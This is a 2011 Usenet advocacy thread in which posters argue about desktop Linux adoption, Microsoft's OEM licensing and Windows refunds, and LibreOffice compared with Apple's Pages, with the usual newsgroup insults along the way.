>     Anyone familiar with the history of malware is aware of this.

I suspect my history with malware far exceeds that of your own, and 
you're welcome to invite me to prove it if you'd like.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/7/2011 2:29:24 AM
FromTheRafters stated in post j46k40$902$1@dont-email.me on 9/6/11 7:15 PM:

> Snit wrote:
>> FromTheRafters stated in post j46gnp$ore$1@dont-email.me on 9/6/11 6:17 PM:
>> 
>>> Snit wrote:
>>>> Wolf K stated in post 37y9q.23497$9r4.5618@unlimited.newshosting.com on
>>>> 9/6/11 4:35 PM:
>>>> 
>>>>> On 06/09/2011 6:20 PM, Snit wrote:
>>>>>>     Question:
>>>>>>        -----
>>>>>>        What do you see as the main obstacles holding back the
>>>>>>        success of the Linux desktop?
>>>>>>        -----
>>>>> 
>>>>> 
>>>>> The crazies that "defend" or "advocate for" Linux.
>>>>> 
>>>>> Wolf K.
>>>> 
>>>> Yes: the false "advocate" FUD may be a pretty big deterrent to adoption.
>>>> 
>>> I don't know if it is a deterrent, but it sure isn't good when the
>>> forever clueless are there to help. :o)
>> 
>> Imagine if they are in the real world as they present themselves in COLA.
>> They would chase people away from Linux.  Lies do that.
>> 
>>> While we've got the collection of groups we have right now, I would like
>>> to ask just where we should draw the line between the operating system
>>> and the user's choice programs we choose to run.
>> 
>> Not sure I follow.
> 
> Well, the idea that Linux for instance is more secure because you get
> your programs from a managed repository as source code files and compile
> them yourself. The OS is not enforcing that behavior, so is that really
> a valid point at all?

You get *some* of your programs from there.  Even most.  But then you are
dependant on someone else's choices.

<http://tmp.gallopinginsanity.com/Ubuntu-stuff.mov>

How would the general user figure that out?  How about before OpenOffice was
in the Ubuntu repository?  Here was comparing Ubuntu to Windows and OS X:

<http://tmp.gallopinginsanity.com/installOO31.png>

> Would we really want a system where we can only run approved programs?

Well, many people like their iOS devices.  I have an iPod which I like.

> That seems to be the direction "Trusted Computing" wants to go - and to
> me that is a turn away from general purpose computing's allowing the
> freedom of users choice programs.

For the desktop it would be limiting.... but on a mobile device it does not
bother me.  And it keeps iOS malware free.  I can see where others would
want something different, though.  I have no problem with that.

>>> Windows users tend to think that everything that came with Windows
>>> is "The Windows OS" while in the Linux world you choose your shell and
>>> many other things or just use what came with the distro.
>> 
>> Many users do not really get the concept of what is the OS vs. apps or even
>> files and folders and the like.  To many, photos are "in" their image
>> organizer, word documents are "in" their word processor, etc.  Most OSs have
>> no stepping stones to help build these concepts.
> 
> That's true. That's what the GUI is supposed to do, make them think in a
> more intuitive familiar physical manner rather than the actual truth of
> the matter.

But they do not even get the GUI metaphors in a lot of cases.

Apple's iLife and media browswer are designed to be useful to more advanced
users but also to be a stepping stone to understanding these "advanced"
concepts (yes, I know to COLA folks they are hardly advanced!)

> [...]
> 
>> When I talk about Windows or Mint or OS X I *generally* mean the
>> environment.  That is far more important in terms of thinking of usage.
> 
> Does that environment extend into the users themselves?

No.  It is the environment the users use!

> I mean, Linux used to be more secure because clueless users found it too
> difficult to use and settled for Windows instead. IMO in this case it is not
> really about Linux but about the class of users that are attracted to it. Same
> goes for some practices that are associated with Linux but not actually a part
> of Linux - like where you get new programs, it's user's choice and not a
> function of the OS. This is one aspect of the Linux experience but not really
> Linux itself.

Well, different environments are better suited for different things and
different people.  No argument here.

-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 2:35:41 AM
On 2011-09-06, TomB <tommy.bongaerts@gmail.com> wrote:
>
> For that reason build my own desktop systems from discrete components,
> and I do not buy laptops (I have one from work though, which came with
> Windows 7 Ultimate, but atm I'm happily using Gentoo on it).

My HP laptop came with Windows 7 installed. I pulled the whole disk out and
put in another disk and installed Gentoo. When the warranty on the
Laptop runs out I'll wipe Windows from the disk and I'll then use it as
a spare 2.5" HDD.

-- 
Regards,
Gregory.
Gentoo Linux - Penguin Power
0
ZekeGregory (6440)
9/7/2011 3:12:37 AM
On 2011-09-06, Chris Ahlstrom <ahlstromc@xzoozy.com> wrote:
> Wolf K wrote this copyrighted missive and expects royalties:
>
>> On 06/09/2011 10:17 AM, Snit wrote:
>>> David Brown stated in posty5KdndE_FZh7Q_jTnZ2dnUVZ7v6dnZ2d@lyse.net  on
>>> 9/6/11 1:48 AM:
>>
>> [snip]
>>
>> This is the sort of round'n'round argument that I expect on the Linux 
>> newsgroups.
>>
>> Sigh.
>
> Pack off.

What a howler!

-- 
Regards,
Gregory.
Gentoo Linux - Penguin Power
0
ZekeGregory (6440)
9/7/2011 3:13:20 AM
Dustin wrote:

> Peter =?UTF-8?B?S8O2aGxtYW5u?= <peter-koehlmann@t-online.de> wrote in
> news:j3tsg2$78p$1@dont-email.me:
> 
>> Maybe not Fort Know, but a lot safer? You bet
> 
> I doubt it.
>  
>> And that same old bullshit over and over again.
> 
> Not bullshit.
>  
>> Tell me, how did I ever get that Mac I use for programming OSX
>> stuff? How did I buy those other 7 computers I to be found here?
>> How did my son get his Mac? His iPhone?
> 
> I think you missed the point here.
>  
>> How did I ever get to buy a sailboat?
> 
> Yep, you didn't get what I wrote at all.
>  
>> Just don't tell us that you try to be dumber than Hadron Larry.
>> First, thats a near impossible feat. Second, it is by no means
>> desireable
> 
> First,
> 
> I'm a professional malware researcher with long standing credentials in
> the field.

And I am Santa Claus
When you are lying, please don't do it so obviously. You are insulting 
people with such low-IQ lies

> Second,
> When I said linux wasn't a money maker, I was talking about that from
> the malware author benefits. Theres no money in 0wning linux boxes,
> yet.
> 

You did not need to confirm that you are a blithering idiot. That fact was 
already established
 
0
9/7/2011 7:49:50 AM
On 07/09/2011 00:12, Snit wrote:
> David Brown stated in post 15GdndbfWa_AEfvTnZ2dnUVZ8hadnZ2d@lyse.net on
> 9/6/11 2:10 PM:
>
>> On 06/09/11 18:33, Snit wrote:
>>> David Brown stated in post INadnamiOoYcp_vTnZ2dnUVZ8g6dnZ2d@lyse.net on
>>> 9/6/11 8:19 AM:
>>>>
>>>> I haven't bothered to keep track of this particular issue in recent
>>>> times - but I've seen plenty of other shady business practices from
>>>> them.  I'll assume that the leopard has not changed its spots.
>>>
>>> Ah, the old no-evidence-so-let's-assume-the-worst concept.  Got it.
>>>
>>> I would like to see current, relevant evidence before I jump to conclusions.
>>>
>>>
>>> But why assume - without evidence - that the illegal deals of the past are
>>> still happening?  I do not think anyone denies they *happened*, the
>>> contention is in saying that they still exist even thought here is no
>>> evidence and there is contrary evidence (OEMs selling Linux based systems).
>>
>> As you say, there is little doubt that such illegal deals did happen.
>
> Without getting too philosophical, I would be willing to say there is no
> doubt.
>
>> There is little doubt that MS have always considered it better for
>> someone to use /their/ software without paying, than to use software
>> from somewhere else.  There is also little doubt that MS continues to
>> engage in behaviour that is at best ethically questionable, and at worst
>> directly illegal.  Big examples involve their influence behind the SCO
>> farce, and the OOXML "standardisation" - practically destroying the most
>> important international standards organisation to protect their near
>> monopoly.
>
> I think the OOXML complaints have been overblown in COLA.  For example, look
> at the Wikipedia page and see the list of complaints:
> <http://en.wikipedia.org/wiki/Office_Open_XML>
>

In an effort to keep my sanity, I don't follow COLA.  I just bump into 
occasional cross-posted threads.

So I don't know what was said in COLA about OOXML, but that wikipedia 
article discusses the "standard" itself, and not the /standardisation/ 
process.  Here is just a single example link, as I don't want to bogged 
down in yet another sidetrack!

<http://www.zdnet.co.uk/news/desktop-os/2007/08/30/microsoft-accused-of-rigging-ooxml-votes-39288959/>

>> The "windows tax" continues to exist - it is rare to find someone who
>> has successfully got a refund for an unused Windows license.
>
> As long as you do not open the box, you can return most software just fine.
> So it is not hard to get a refund on Windows.  Where people get bent out of
> shape is when they buy a *system* and then want to return parts of the
> system and have the company they bought it from set a price on that part.
> Alone.  And often they want the full selling price of that part.  That is
> just silly.
>

I agree that you should only be entitled to actual cost that the OEM 
paid for the Windows license.

The click-wrap license for windows specifically allows you to get a 
refund, even though you bought it as part of a complete system - it is 
not like buying a car and asking for a refund for the steering wheel you 
don't want.

 From MS's viewpoint, the refund system is legally clear - it is okay 
that Windows is bundled with the system whether you want it or not, 
because you can get your money back if you don't want it.  But (based on 
everything I've read - I haven't tried it myself) OEMs mostly fight to 
stop you getting the refund.  This may be pure conspiracy theory, but 
one reason for this is perhaps that they would have to reveal their 
actual pricing deals with MS - certainly in most cases when people have 
got refunds the refund was much higher than OEMs pay for licenses, and 
often up to the shelf price (of OEM windows).

>> Licensing deals between big OEMs and MS are all closed-doors deals.
>
> As are the deals for most of the components of a computer.  How much does
> Dell pay for memory?  How about for the drivers they include?
>

Yes, I know that.

>> All in all - no, I have no evidence to claim MS forces (or just
>> encourages) OEMs into licensing deals that make it hard for them to
>> offer non-Windows systems.
>
> Ok: fair enough.  There is no evidence of the accusation.  This I can agree
> with.
>
>> But I can see it would be /very/ easy for them to get away with such deals -
>> all in the interests of saving the OEMs money, of course.
>
> Given the level of trouble they got into last time, and the bad publicity, I
> would not blindly assume such.
>

MS has a monopoly position - they are virtually immune to bad publicity 
(they certainly have plenty of practice at handling it).  They also have 
a standard practice of delaying or appealing court cases for long enough 
for the fines to be irrelevant (again, this is not something special to 
MS - many big companies do the same, and you could argue that for the 
sake of their shareholders, they are obliged to do it).  So when they 
are fined for anti-competitive behaviour damaging a competing product, 
then by the time the fine is paid the competitor is long dead, and the 
fine is a tiny fraction of the profit made in that sector.

These tactics have been getting harder for MS in recent years, as their 
growth has stagnated (having a monopoly in a sector leaves little room 
for growth) and they have more markets in which they must compete on 
technical and economic factors.

So I try not to "blindly assume", but I do "assume" for the moment.

>> And I can see it would be in MS's interests to make such deals.  And I have
>> seen no evidence of a change of heart in MS leadership suggesting they shy
>> away from any tactics that help crush the competition.
>>
>> Whether you agree with that or not is up to you.
>
> I can see saying you would not doubt it.  I have no problem with that.  To
> claim it as something that *is*, however, is wrong.  As you noted, you have
> no evidence to back it up.
>

OK, I'll go with that correction.

> ...
>>>> Digging through the links takes you mostly back to main selection pages
>>>> (leading to windows-only machines), outdated information pages, and some
>>>> mentions of a couple of end-of-line products that had Linux.
>>>
>>> Yeah... when their was more demand they had more on their site.  Sad to see
>>> this has diminished so much.
>>
>> To be honest, I expect that most people that were interested in looking
>> at the site already had PC's running Linux.  At that time, Dell was not
>> a particularly popular choice of OEM for home users - at least, not the
>> more knowledgeable ones.
>
> I believe at the time it was the #1 choice of OEMs.  It no longer is.
>
>> They had a bad reputation for customer support for small users in many
>> countries.  And business users looking for professional Linux machines would
>> be looking for different sorts of models - and an outdated version of Ubuntu
>> is unlikely to be their first choice of distro.  So my guess is that Dell
>> didn't sell many Linux systems.
>
> There is little demand for Linux on the desktop - and those who do want it
> do not need it pre-bundled, by and large.  As such, when thinking in terms
> of the quantity of computers Dell and HP sell, there is essentially *no*
> demand for desktop Linux being pre-installed.  What minimal demand there is,
> of course, is split between distros: so the only way to meet the demand is
> to have multiple distros: Ubuntu and Mint and PCLOS and Debian and who knows
> how many others.  Then you have to market each type and explain the
> difference... and support them.
>

Agreed.

> A mess.  A money-losing proposition.  Why would Dell or HP even consider
> this?  The fact that they *have* is a good sign for desktop Linux - but it
> would be rather surprising to see it work.  As even Shuttleworth has noted:
>
>    Question:
>      -----
>      What do you see as the main obstacles holding back the
>      success of the Linux desktop?
>      -----
>    Shuttleworth:
>      -----
>      I think we don't yet deliver a good enough user experience. I
>      think we deliver a user experience for people that have a
>      reason to want to be on the Linux platform, either because of
>      price or because of freedom. If that was your primary reason,
>      Linux is the right answer.
>
>      But if you are somebody who is not too concerned about price,
>      who is not too concerned about freedom, I don't think we can
>      say the Linux desktop offers the very best experience. And
>      that's something we have to change, that's something I'm
>      committed to work on, focusing increasing amounts of
>      resources of Canonical on figuring out on how we actually
>      move the desktop experience forward to compete with Mac OS X.
>      -----
>

I am not in full agreement with Shuttleworth, but I do see his point.

> And while I do not really like Unity, I think it is hard to argue that
> Shuttleworth has not been working very hard to do that - things have gotten
> a lot better on desktop Linux in general since he made those comments (to be
> clear, not all because of him, in case it sounds that way!).
>

Ironically, in his attempt to make Ubuntu and Unity more "newbie 
friendly", turning your PC into a giant mobile telephone, he has 
alienated many existing users.  It is not easy to keep everyone happy.

> Recently Roy and I talked about PCLOS.  He made claims about current and
> past versions and was pretty far off the mark.  But, to be fair, I had
> underestimated the distance that PCLOS had come (I had not used the current
> PCLOS distro, but it really is indicative of the ecosystem).
>
> To show the facts about PCLOS (old and new) I gathered images and linked to
> older ones. Roy and I were talking in terms of OS X (as was Shuttleworth) so
> that is my comparison for the new version of PCLOS.  Here is the PDF:
>
> <http://tmp.gallopinginsanity.com/PCLOS-OSX-comparison.pdf>
>
> Now simply looking at those few tidbits of the user experience is, alone,
> not that informative... but it is indicative of the level of detail
> competitors to desktop Linux are giving their experiences.  Desktop Linux
> must rise to that level and perhaps even beat it if it wants people to seek
> it in large numbers.  The good news is if you look at the links to older
> PCLOS at the bottom of the PDF you can see PCLOS has come a *long* way in a
> relatively short period of time.  Night and day difference.  I was
> pleasantly surprised and it re-invigorated my advocacy.  It is good to get
> some eye-openers from time to time.  :)
>
>> It has always been the case that most Linux users are happy to install their
>> own choice of distro themselves.  What they want is systems that the OEMs will
>> sell without an OS, with a statement of the exact hardware and an indication
>> of the support in modern Linux distros, and an assurance that the OEM will not
>> consider installation of Linux as an evil act of vandalism that voids the
>> warranty.
>
> Can you find any OEM whose warranty is dependant on keeping Windows on the
> system? They will not, of course, support software they do not sell... but
> that makes sense.
>

Try googling "linux warranty" - here's the first hit:
<http://www.linuxinsider.com/story/69073.html>

Warranties may not explicitly say "no Linux", but if you can't take your 
PC back to the shop to get hardware problems fixed without a court 
battle, then it might as well say it.

>> And they want that as a choice on standard models - not just the
>> occasional outdated and underpowered system.
>
> In order for desktop Linux to gain a real foothold it will have to earn it.
> The OEMs do not owe it to the open source community to sell them systems at
> a loss.
>
>>>>>> You had to actively search for them - you couldn't find them from sensible
>>>>>> links from the home page.
>>>>>
>>>>> And given how they are very much a specialty item, that is exactly what one
>>>>> should expect!
>>>>
>>>> It's okay to say that Dell doesn't sell Linux on desktops and laptops.
>>>> But if you (or Dell, or anyone else) wants to claim that they /do/, then
>>>> they it should be practical to find them.
>>>
>>> They have... they do a lot less now.  I did give a list of companies that do
>>> (or at least did fairly recently).
>>
>> Unfortunately, these mostly either have a similar attitude to Dell
>> (again, I am referring to desktops and laptops here, not servers), or
>> they are small, specialist OEMs - most are only a good practical choice
>> if you happen to live in a particular region of the USA where they are
>> based.
>
> I have not purchases a computer in a brick and mortar for years... at least
> the last decade.  If you know what you want, ordering online is just fine.
>
> Full disclaimer: that "last decade" means my last three computers... I have
> one that is about a year old, one that is about four and another which is
> eight or nine or so.  All still in use on a daily basis (the oldest might
> get skipped on occasion, but pretty much daily - it is being used right
> now).
>
>>>>>> The machines cost more than equivalent ones with Windows, and the pages
>>>>>> were plastered with "Dell recommends Vista" adverts.  When you tried to
>>>>>> configure the machines, they tried to sell you MS Office for it.
>>>>>>
>>>>> recommends *Vista*?  Um, no.
>>>>>
>>>> Past tense - I was referring to the brief time when Dell made a vague effort
>>>> to sell Linux desktops, and had links that were practical to find.
>>>>
>>> At the time they were much easier to find.  Heck, Linux systems were in
>>> Wal-Mart.  Hard to get easier to find than that.
>>
>> I didn't know that (I am not in the USA - we don't have Wal-Mart).
>
> There is a corner of the world they have not tried to take over?  Wow.  :)
>

It would not be easy for Wal-Mart to establish themselves in Norway. 
For one thing, our minimum wage laws would bankrupt them - we insist 
that people be able to live on their earnings from full-time jobs.

> [Sarcasm... they are *everywhere* in the US]
>
>> And I certainly didn't know Dell sold through supermarkets.
>>
>>>>>> Servers are a different matter - there you can get them without an OS, or
>>>>>> with RHEL or SUSe pre-installed.
>>>>>>
>>>>> Right: where there is demand for other options they make them more visible.
>>>>> Just as one would expect.
>>>>>
>>>> Again, that's fair enough - Dell, like any serious server supplier, sells
>>>> servers with Linux.  But their vague attempts at selling desktop Linux were
>>>>>>> a bad joke.
>>>>
>>> How much more should they have done?  And to whose benefit?
>>
>> Well, I'm not sure it made sense for them to try at all - I think their
>> limited effort was perhaps worse than useless.  I would have preferred
>> that they simply made "no OS" an option in their standard system
>> configuration.
>
> If they were to do that they would likely end up with higher support costs.

As you said before, you can't expect a supplier to provide support for 
software they don't sell.  If they pre-installed Linux, they would have 
to support it - and I agree that means extra costs (especially since 
Linux users are less likely to accept "did you try ctrl-alt-delete?" as 
a "solution"...).  No OS means no support for the OS.

> Right now their support is largely: rest to factory default and let your
> data die.

Yes, which for many users means there is currently no /real/ support for 
Windows from OEM's.

> With a no-OS computer they would get a lot of calls from people
> trying to install all sorts of stuff... and running into troubles (that is
> inevitable, I am not saying Linux is hard to install).  So then they likely
> would have to charge *more* for a system with no OS, or at least as much
> (and that does not even take into consideration the garbage-ware that they
> get paid to include).  So they would have the option to buy a full system
> for X dollars or an incomplete system for the same amount or perhaps even
> more.
>

I don't get that - I would not expect them to try to provide support for 
an OS they didn't provide.  It would be nice for the OEM to provide a 
website - FAQs, knowledge base, howtos, etc., - that would help them 
stand out, for a relatively low cost since it is not personal telephone 
or email support.  And the usual trick - set up some forums and let 
users support each other - would work well here.

> Not exactly something one can make a good case for.
>
> Since the no-OS option is not likely to be cheaper than than the Windows
> version, and the included copy of Windows does nothing to make it harder to
> install Linux, there really is no need for a no-OS version.
>
>>> ...
>>>>>> I agree.  I find OpenOffice (well, LibreOffice these days) to be a
>>>>>> better program than MS Office.  Opinions vary, of course, and we try to
>>>>>> be flexible at my company.  But I would take LibreOffice over MS Office
>>>>>> regardless of the price difference.
>>>>>
>>>>> What do you like about it more?
>>>>
>>>> The pdf export is, of course, a major feature.
>>>
>>> Well, with CutePDF or the like, that exists on Windows, too.  And if you are
>>> running MS Office on a Mac, *all* Mac programs have Print to PDF *and* PDF
>>> Services (easy redirecting of the PDFs to other programs or destinations...
>>> comes in real handy in many cases).
>>
>> We use pdfcreator as standard on all Windows PC's for general pdf
>> "printing".  But pdf export directly from OpenOffice is much better than
>> just a printout - the pdf file is smaller and faster to use, tables of
>> contents give you proper bookmarks, and links and cross-references all
>> work.  For structured documents, you get a much more professional result.
>
> Hmmm, I know OS X's print to PDF includes a lot of that... I would have to
> play with CutePDF and Word.  I thought it did, too.  I could be wrong.  If I
> am, then yes, that is an advantage of OpenOffice / LibreOffice.
>

As far as I know, OS X's print-to-pdf is the same as Linux (after all, 
Apple are the current maintainers of CUPS).  It's possible that it has 
some sort of automation, such as identifying headings by their larger 
font and making bookmarks from them, or turning strings that look like 
URL's into links (a pdf reader might also do that).  But it is still a 
case of throwing out the semantic and structural information, then 
re-creating it - but with the direct route (such as OpenOffice export to 
pdf, pdfLaTeX, FrameMaker to pdf, etc.) you keep all the information and 
get a better result.

>>>> But generally I've found it more stable, especially for larger documents,
>>>> and I find it works better for structured documents.  To be fair, this is
>>>> biased by personal use - I don't use MS Office much except to try to help
>>>> others with problems.  But for some reason, the few MS Office users at the
>>>> company have>>>  a great deal more problems than the majority who use
>>>> OpenOffice.
>>>>
>>> I was helping someone the other day with LibreOffice and then showed them
>>> Apple's Pages.  They stopped by this morning - and I asked them if they could
>>> re-do some of the stuff we talked about in LibreOffice and in Pages (granted,
>>> this is not MS Word, but I could compare that, too).
>>>
>>> They agreed to let me record them and upload it:
>>> <http://www.youtube.com/watch?v=ootjP-cFVO8>.
>>
>> I don't have any experience with Pages, but I can give you a hint for
>> OpenOffice - hold shift down when you resize, and it will keep the
>> aspect ratio.
>
> I *expected* that.  It did not happen.  I was surprised.  Here, with the
> shift-key being shown by an arrow when it is being used:
>
>      <http://tmp.gallopinginsanity.com/shift-resize.mov>
>

I'll look at that link later, but shift-resize has always worked for me.

>> I'd agree that this is perhaps not intuitive, and that it should be the
>> default behaviour, but it /does/ work.
>
> If that did work it would not be that big of a deal - that is the norm for
> many image programs and it could even be argued that while that is less
> intuitive it is a benefit because of the consistency.
>
>> And the "original size" button also works - but like the other sizes in the
>> properties box, it is not real time - it doesn't take effect until you click
>> OK.
>
> Just tested and you are correct... but the percentages are messed up, as
> shown in the original video.
>
> Can you not see why, after working with a modern and professionally designed
> package, how LibreOffice would seem a bit... primitive, for lack of a better
> term?  They YouTube video really is quite telling.
>

I don't disagree with you here.  But it has never been a problem for me 
- perhaps because I prefer a simpler way of doing things (for Windows, I 
prefer XP with the "classic" theme, rather than the teletubbies look). 
Still, you are not alone in feeling that OpenOffice could do with a 
makeover and progress in the interface and user experience - a major 
motivation behind LibreOffice (and previous groups such as GoOO) has 
been the feeling that development progress was too slow.

>>> I find these types of things in OpenOffice / LibreOffice all the time (or
>>> where complaints about MS Office are not true).  From some past experiences
>>> (videos of me working):
>>>
>>>     Indents / styles:
>>>       <http://tmp.gallopinginsanity.com/OOIndents.mov>
>>>       <http://tmp.gallopinginsanity.com/OOIndents2.mov>
>>>
>>>     In response to complaints about how much space the ribbon takes:
>>>       <http://tmp.gallopinginsanity.com/ribbon-space.mov>
>>>
>>> On and on... there just are not many places where OO/LibrO shine as far as I
>>> can tell.  If you can point me to some of those areas, though, I am happy to
>>> look into them and report what I find.
>>
>> Well, as I say it's a lot to do with taste and how you like to use the
>> program.
>
> I think I have given some very definite areas where OO.o/LibreO are just
> objectively inferior.  You have given one where they are better at least out
> of the box... though you can pretty easily upgrade MS Word to include pretty
> good PDF export support (and if you need more you can get Acrobat plugins
> which give you a *lot* of power with PDFs - they are not free however).
>
> I think my LibreOffice / Pages comparison is just striking - LibreOffice is
> just primitive by comparison.  I really think that is hard to argue against.
>

I don't know much about Pages, but I gather it has more DTP 
functionality than most word processors.  So I would expect better 
features for manipulating images and image layout.  However, I can 
honestly say that I have never once felt the need to rotate an image 
inserted into a word-processing document - some scaling, and a choice of 
anchoring to the page or paragraph is enough for me.

However, the big problem with Pages (correct me here if I am wrong) is 
that is for the Mac only, and it doesn't even do a good job of importing 
and exporting other formats.  If it ran native on Linux and Windows as 
well, it might be a contender as a serious office use.  As it is, it is 
only for people who can live in a Mac world - and perhaps as a showcase 
for how a word processor /could/ function.

I found a comparison here:

<http://pagesfaq.blogspot.com/2008/11/openoffice-30-and-pages-30-comparison.html>

Coming from a background of LaTeX for documents, I find OpenOffice's 
lack of typographic features a shame - no ligatures, no decent spacing 
rules, etc.  It seems that Pages does that better.


>> To me, the idea of visually modifying margins by selecting bits of text and
>> then creating styles out of them is working backwards - I set up my styles the
>> way I want them, and use them consistently in a document.  If I want to change
>> the appearance of a style, I'll modify the style - not manual modification of
>> the document.  OpenOffice suits my way of working here.
>
> If you can show an example of OpenOffice (or LibreOffice... just assume that
> when I say OpenOffice!) doing what I show MS Word doing I would love to see
> it.  I cannot get it to work (I have not tried in a while... maybe it has
> been fixed?)
>
>> (Actually, I prefer to write serious documents with LaTeX, but I have to make
>> /some/ sacrifices for compatibility with other people.)
>
> But you can do that on any OS.

Yes, I can write LaTeX with any OS - and the generated pdf's can be read 
anywhere (actually, I discovered that while evince on Linux was quite 
happy with unicode in bookmarks, foxit reader on windows couldn't 
display the characters properly).  It's not compatibility with OS's 
that's the problem - it's compatibility with colleagues.  The learning 
curve for LaTeX is a little longer and harder than for OO or other word 
processors.

0
david2384 (2168)
9/7/2011 11:01:42 AM
Chris Ahlstrom <ahlstromc@xzoozy.com> writes:

> Wolf K wrote this copyrighted missive and expects royalties:
>
>> On 06/09/2011 6:20 PM, Snit wrote:
>>>   Question:
>>>      -----
>>>      What do you see as the main obstacles holding back the
>>>      success of the Linux desktop?
>>>      -----
>>
>> The crazies that "defend" or "advocate for" Linux.
>>
>> Wolf K.
>
> You mean like Mark Shuttleworth?
>
> Idiot.

Nice sig Creepy.

Mark Shuttleworth who is on record as agreeing with "wintrolls" that the
Linux desktop experience needs a LOT of tightening up?

Could you be more of a weenie if you tried?

Meanwhile you were showing off about xfce or some such.... (pick the
letters of the day folks .. Creepy does).

0
hadronquark (21814)
9/7/2011 11:18:38 AM
Chris Ahlstrom <ahlstromc@xzoozy.com> writes:

> Wolf K wrote this copyrighted missive and expects royalties:
>
>> On 06/09/2011 10:17 AM, Snit wrote:
>>> David Brown stated in posty5KdndE_FZh7Q_jTnZ2dnUVZ7v6dnZ2d@lyse.net  on
>>> 9/6/11 1:48 AM:
>>
>> [snip]
>>
>> This is the sort of round'n'round argument that I expect on the Linux 
>> newsgroups.
>>
>> Sigh.
>
> Pack off.

In case you didnt know Mr Wo0lf K, Creepy Chris Ahlstrom is the COLA
suck up. Google up his posts and try not to vomit. He is being all
"agressive" now in order to protect his Master, Roy BigHead.


0
hadronquark (21814)
9/7/2011 11:20:08 AM
On 07/09/2011 7:01 AM, David Brown wrote:
Snit wrote:
[...]
>> As are the deals for most of the components of a computer.  How much does
>> Dell pay for memory?  How about for the drivers they include?
>>
>
> Yes, I know that.
[...]

Same as the deals for car parts. You can't buy an original car part for 
anywhere close to the price paid by the manufacturer, and after-market 
parts, though cheaper, also cost much more than parts delivered to the 
line. Econ 101.

Then there's overhead, which in my experience consumers consistently 
under-estimate. Warehousing parts for end-user sale can cost more than 
the parts themselves. By the time you buy a small item, such as a pen, 
at least 2/3rds of it price its price will be the cost of getting it to 
you so you can pick it up in person. (For that matter, think about how 
many people were involved in making and delivering that pen to you, 
starting with the miners who mined the ore for the metal parts, and so 
on. "We're all in this together.")

HTH
Wolf K.


0
wekirch (32)
9/7/2011 1:32:30 PM
On 07/09/2011 7:01 AM, David Brown wrote:
Snit wrote:
[...]
>> As long as you do not open the box, you can return most software just
>> fine.
>> So it is not hard to get a refund on Windows.  Where people get bent
>> out of
>> shape is when they buy a *system* and then want to return parts of the
>> system and have the company they bought it from set a price on that part.
>> Alone.  And often they want the full selling price of that part.  That is
>> just silly.
>>
>
> I agree that you should only be entitled to actual cost that the OEM
> paid for the Windows license.
[...]

In other words, he should eat the overhead: the cost associated with 
purchasing, tracking inventory, installation, etc. Which is probably at 
least as much as what he paid MS.

I don't think so.

Wolf K.

0
wekirch (32)
9/7/2011 1:36:51 PM
Wolf K stated in post IrK9q.178264$Wo4.3996@unlimited.newshosting.com on
9/7/11 6:36 AM:

> On 07/09/2011 7:01 AM, David Brown wrote:
> Snit wrote:
> [...]
>>> As long as you do not open the box, you can return most software just
>>> fine.
>>> So it is not hard to get a refund on Windows.  Where people get bent
>>> out of
>>> shape is when they buy a *system* and then want to return parts of the
>>> system and have the company they bought it from set a price on that part.
>>> Alone.  And often they want the full selling price of that part.  That is
>>> just silly.
>>> 
>> 
>> I agree that you should only be entitled to actual cost that the OEM
>> paid for the Windows license.
> [...]
> 
> In other words, he should eat the overhead: the cost associated with
> purchasing, tracking inventory, installation, etc. Which is probably at
> least as much as what he paid MS.
> 
> I don't think so.
> 
> Wolf K.
> 

Exactly... it makes no sense.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 2:24:04 PM
Hadron stated in post yy39g8wqgh.fsf@news.eternal-september.org on 9/7/11
4:18 AM:

> Chris Ahlstrom <ahlstromc@xzoozy.com> writes:
> 
>> Wolf K wrote this copyrighted missive and expects royalties:
>> 
>>> On 06/09/2011 6:20 PM, Snit wrote:
>>>>   Question:
>>>>      -----
>>>>      What do you see as the main obstacles holding back the
>>>>      success of the Linux desktop?
>>>>      -----
>>> 
>>> The crazies that "defend" or "advocate for" Linux.
>>> 
>>> Wolf K.
>> 
>> You mean like Mark Shuttleworth?
>> 
>> Idiot.
> 
> Nice sig Creepy.
> 
> Mark Shuttleworth who is on record as agreeing with "wintrolls" that the
> Linux desktop experience needs a LOT of tightening up?
> 
> Could you be more of a weenie if you tried?
> 
> Meanwhile you were showing off about xfce or some such.... (pick the
> letters of the day folks .. Creepy does).
> 
Shuttleworth is a *true* Linux advocate... he is not one of the false
"advocates" of COLA.  Chris A. pretends to be too stupid to tell the
difference.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 2:28:10 PM
David Brown stated in post h-WdneHps-sH0vrTnZ2dnUVZ8gmdnZ2d@lyse.net on
9/7/11 4:01 AM:

> On 07/09/2011 00:12, Snit wrote:
>> David Brown stated in post 15GdndbfWa_AEfvTnZ2dnUVZ8hadnZ2d@lyse.net on
>> 9/6/11 2:10 PM:
>> 
>>> On 06/09/11 18:33, Snit wrote:
>>>> David Brown stated in post INadnamiOoYcp_vTnZ2dnUVZ8g6dnZ2d@lyse.net on
>>>> 9/6/11 8:19 AM:
>>>>> 
>>>>> I haven't bothered to keep track of this particular issue in recent
>>>>> times - but I've seen plenty of other shady business practices from
>>>>> them.  I'll assume that the leopard has not changed its spots.
>>>> 
>>>> Ah, the old no-evidence-so-let's-assume-the-worst concept.  Got it.
>>>> 
>>>> I would like to see current, relevant evidence before I jump to
>>>> conclusions.
>>>> 
>>>> 
>>>> But why assume - without evidence - that the illegal deals of the past are
>>>> still happening?  I do not think anyone denies they *happened*, the
>>>> contention is in saying that they still exist even thought here is no
>>>> evidence and there is contrary evidence (OEMs selling Linux based systems).
>>> 
>>> As you say, there is little doubt that such illegal deals did happen.
>> 
>> Without getting too philosophical, I would be willing to say there is no
>> doubt.
>> 
>>> There is little doubt that MS have always considered it better for
>>> someone to use /their/ software without paying, than to use software
>>> from somewhere else.  There is also little doubt that MS continues to
>>> engage in behaviour that is at best ethically questionable, and at worst
>>> directly illegal.  Big examples involve their influence behind the SCO
>>> farce, and the OOXML "standardisation" - practically destroying the most
>>> important international standards organisation to protect their near
>>> monopoly.
>> 
>> I think the OOXML complaints have been overblown in COLA.  For example, look
>> at the Wikipedia page and see the list of complaints:
>> <http://en.wikipedia.org/wiki/Office_Open_XML>

> In an effort to keep my sanity, I don't follow COLA.  I just bump into
> occasional cross-posted threads.

Has that worked for you?  :)
 
> So I don't know what was said in COLA about OOXML, but that wikipedia
> article discusses the "standard" itself, and not the /standardisation/
> process.  Here is just a single example link, as I don't want to bogged
> down in yet another sidetrack!
> 
